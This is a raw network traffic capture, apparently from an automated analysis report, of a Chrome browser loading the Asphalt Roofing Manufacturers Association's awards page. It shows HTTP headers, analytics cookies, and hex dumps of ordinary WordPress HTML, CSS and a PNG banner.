2024-04-23 14:54:32 UTC	982	OUT	GET /excellence/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:34 UTC	617	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/275>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=275>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: EXPIRED
2024-04-23 14:54:34 UTC	7575	IN	Data Raw: 33 64 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 Data Ascii: 3d8<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 65 6d 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f Data Ascii: em 1em}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{co
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 Data Ascii: --color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: va
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 61 62 6c 65 70 72 65 73 73 2d 63 6f 6d 62 69 6e 65 64 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6a 73 5f 63 6f 6d 70 6f 73 65 72 5f 66 72 6f 6e 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6a 73 5f 63 6f 6d 70 6f 73 65 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 6a 73 5f 63 6f 6d 70 6f 73 65 72 2e 6d 69 6e 2e 63 73 73 3f 76 65 Data Ascii: ://www.asphaltroofing.org/wp-content/tablepress-combined.min.css?ver=6' type='text/css' media='all' /><link rel='stylesheet' id='js_composer_front-css' href='https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ve
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 09 09 09 09 09 09 09 09 0d 0a 09 09 09 09 09 76 61 72 20 6e 6c 20 3d 20 6e 65 77 20 41 72 72 61 79 28 65 2e 72 6c 2e 6c 65 6e 67 74 68 29 2c 0d 0a 09 09 09 09 09 09 69 78 20 3d 20 30 2c 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 73 6c 3b 09 09 09 09 09 0d 0a 09 09 09 09 09 65 2e 74 61 62 77 20 3d 20 65 2e 74 61 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 61 62 77 3b 0d 0a 09 09 09 09 09 65 2e 74 68 75 6d 62 77 20 3d 20 65 2e 74 68 75 6d 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 68 75 6d 62 77 3b 0d 0a 09 09 09 09 09 65 2e 74 61 62 68 20 3d 20 65 2e 74 61 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 61 62 68 3b 0d 0a 09 09 09 09 09 65 2e 74 68 75 6d 62 68 20 3d 20 65 2e 74 68 75 6d 62 68 69 64 65 3e 3d 70 77 20 3f 20 Data Ascii: var nl = new Array(e.rl.length),ix = 0,sl;e.tabw = e.tabhide>=pw ? 0 : e.tabw;e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw;e.tabh = e.tabhide>=pw ? 0 : e.tabh;e.thumbh = e.thumbhide>=pw ?
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 36 35 30 39 38 30 33 39 32 31 35 36 38 36 20 30 2e 34 30 33 39 32 31 35 36 38 36 32 37 34 35 22 20 2f 3e 3c 66 65 46 75 6e 63 47 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 20 31 22 20 2f 3e 3c 66 65 46 75 6e 63 42 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 34 34 37 30 35 38 38 32 33 35 32 39 34 31 20 30 2e 34 22 20 2f 3e 3c 66 65 46 75 6e 63 41 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 Data Ascii: eComponentTransfer color-interpolation-filters="sRGB" ><feFuncR type="table" tableValues="0.65098039215686 0.40392156862745" /><feFuncG type="table" tableValues="0 1" /><feFuncB type="table" tableValues="0.44705882352941 0.4" /><feFuncA type="table" table
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 76 69 64 65 6f 2d 6c 69 62 72 61 72 79 2f 22 3e 3c 73 70 61 6e 3e 56 69 64 65 6f 20 4c 69 62 72 61 72 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 37 30 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 37 30 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 74 65 63 68 6e 69 63 61 6c 2d 62 75 6c 6c 65 74 Data Ascii: /www.asphaltroofing.org/resources/video-library/"><span>Video Library</span></a></li><li id="menu-item-370" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-370"><a href="https://www.asphaltroofing.org/resources/technical-bullet
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 62 65 68 61 6c 66 20 6f 66 20 63 6f 6e 74 72 61 63 74 6f 72 73 2e 3c 2f 70 3e 0a 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 63 6f 6c 75 6d 6e 20 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 76 63 5f 63 6f 6c 2d 73 6d 2d 36 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 76 63 5f 63 6f 6c 75 6d 6e 2d 69 6e 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 77 72 61 70 70 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 76 63 5f 65 6d 70 74 79 5f 73 70 61 63 65 22 20 20 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 36 30 70 78 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 63 5f 65 6d 70 74 79 5f 73 70 61 63 65 5f 69 6e 6e Data Ascii: behalf of contractors.</p></div></div></div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper"><div class="vc_empty_space" style="height: 60px"><span class="vc_empty_space_inn
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 37 2f 41 52 4d 41 5f 41 52 4d 41 2d 45 78 63 65 6c 6c 65 6e 63 65 2d 4c 6f 67 6f 2d 53 49 4c 56 45 52 2d 36 30 30 78 33 34 39 2e 70 6e 67 20 36 30 30 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 33 30 30 70 78 29 20 31 30 30 76 77 2c 20 33 30 30 70 78 22 20 2f 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 66 69 67 75 72 65 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 74 65 78 74 5f 63 6f 6c 75 6d 6e 20 77 70 62 5f 63 6f 6e 74 65 6e 74 5f 65 6c 65 6d 65 6e 74 20 22 20 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 77 72 61 70 70 65 72 22 3e 0a 09 09 09 3c 68 33 20 73 74 79 6c 65 3d 22 74 65 78 Data Ascii: fing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-600x349.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></div></figure></div><div class="wpb_text_column wpb_content_element " ><div class="wpb_wrapper"><h3 style="tex
2024-04-23 14:54:34 UTC	8192	IN	Data Raw: 72 61 70 70 65 72 22 3e 3c 68 32 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 22 20 63 6c 61 73 73 3d 22 76 63 5f 63 75 73 74 6f 6d 5f 68 65 61 64 69 6e 67 22 20 3e 53 75 62 6d 69 73 73 69 6f 6e 20 54 69 70 20 53 68 65 65 74 3c 2f 68 32 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 74 65 78 74 5f 63 6f 6c 75 6d 6e 20 77 70 62 5f 63 6f 6e 74 65 6e 74 5f 65 6c 65 6d 65 6e 74 20 22 20 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 77 72 61 70 70 65 72 22 3e 0a 09 09 09 3c 70 3e 55 73 65 20 74 68 69 73 20 63 68 65 63 6b 6c 69 73 74 20 74 6f 20 65 6e 73 75 72 65 20 79 6f 75 72 20 65 6e 74 72 79 20 63 6f 76 65 72 73 20 61 6c 6c 20 74 68 65 20 6b 65 79 20 70 6f 69 6e 74 73 20 6f 66 20 79 6f 75 72 20 70 72 6f 6a Data Ascii: rapper"><h2 style="text-align: left" class="vc_custom_heading" >Submission Tip Sheet</h2><div class="wpb_text_column wpb_content_element " ><div class="wpb_wrapper"><p>Use this checklist to ensure your entry covers all the key points of your proj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.6	50134	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:34 UTC	972	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:34 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:34 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.6	50136	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:34 UTC	973	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:34 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:34 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.6	50138	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:34 UTC	980	OUT	GET /wp-content/uploads/2023/07/2024AwardsBanner-Submit.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:35 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:34 GMT Content-Type: image/png Content-Length: 842705 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 16:53:06 GMT ETag: "602090-cdbd1-601cb43b52a7e" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:35 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0f 77 00 00 03 42 08 03 00 00 00 f8 40 57 fd 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 6c 50 4c 54 45 ff ff fe ed f1 f6 e7 ed f3 e2 e7 ec e0 df de d8 e0 e9 d8 d9 d8 d3 d2 d1 cc cc c9 c7 c6 c4 c2 c2 c0 be bd bb b9 b9 b7 b5 b5 b3 b0 b0 ad aa aa a8 8e 95 9c a2 8a 88 82 8b 95 95 7b 79 79 80 87 73 74 71 66 68 64 82 5a 55 5a 5d 57 70 48 42 4e 50 4e 66 36 30 6a 21 19 5f 1c 14 57 18 11 35 23 22 4c 13 0c 3b 10 0a 27 0e 0b 00 00 00 8d 34 5f 69 00 0c db 0b 49 44 41 54 78 01 04 c1 01 92 1c 07 70 03 30 90 b3 27 3b ff ff 6b 2a d6 ed 34 03 e4 5f b0 b0 8c 0c 58 16 84 c5 98 05 59 32 a9 17 58 16 80 84 c5 2c 00 90 c9 c2 04 0b 16 cb 6c 00 00 00 00 2c 34 b1 3b 2c b3 34 7d 62 b3 c1 b2 4c 60 c8 Data Ascii: PNGIHDRwB@WpHYs&?lPLTE{yystqfhdZUZ]WpHBNPNf60j!_W5#"L;'4_iIDATxp0';k*4_XY2X,l,4;,4}bL`
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: b0 2c 23 cb 00 31 19 d2 b3 0d b8 b4 eb b7 ed b0 f5 cf d2 cb 6c 11 6b ba 5d 92 77 d3 41 12 77 f6 a2 47 c6 4d 9b 7d 16 93 f9 8b b8 be d9 96 e6 26 bb a4 ec 1b 7d f9 24 c9 69 45 58 be fd 66 26 26 06 24 eb 32 91 e7 42 12 bb 84 45 c4 80 58 32 dc 2d f1 65 21 e4 98 b0 b5 4b 36 21 61 c2 2c b3 b0 29 13 cb 7f db dd e9 db 99 64 89 e7 db b5 8b d9 c5 42 73 e9 74 df 67 22 c9 32 b3 b9 34 03 f5 7d 92 6c 89 dd 13 e2 84 61 ba b8 74 3d 73 7e 46 7a bb c5 41 44 1c 49 17 6e 2d 66 b3 34 dc b4 76 4f b2 65 1b 49 b2 44 ff dd ee b3 0c fb ee a7 24 77 8f c5 98 c5 92 dc 42 dc df f2 22 a3 6e bb b2 58 a2 58 ec 85 6d 49 df df bf 5f 87 77 ed 5d 9f 11 93 7d 58 e3 9f 5f c4 48 93 de 12 4b f6 35 e9 92 4b fa c0 32 34 30 7a bb f7 66 b1 59 3c 77 0f 26 36 f5 47 1e db 04 96 df dd b7 17 cf ed db 4f Data Ascii: ,#1lk]wAwGM}&}$iEXf&&$2BEX2-e!K6!a,)dBstg"24}lat=s~FzADIn-f4vOeID$wB"nXXmI_w]}X_HK5K240zfY<w&6GO
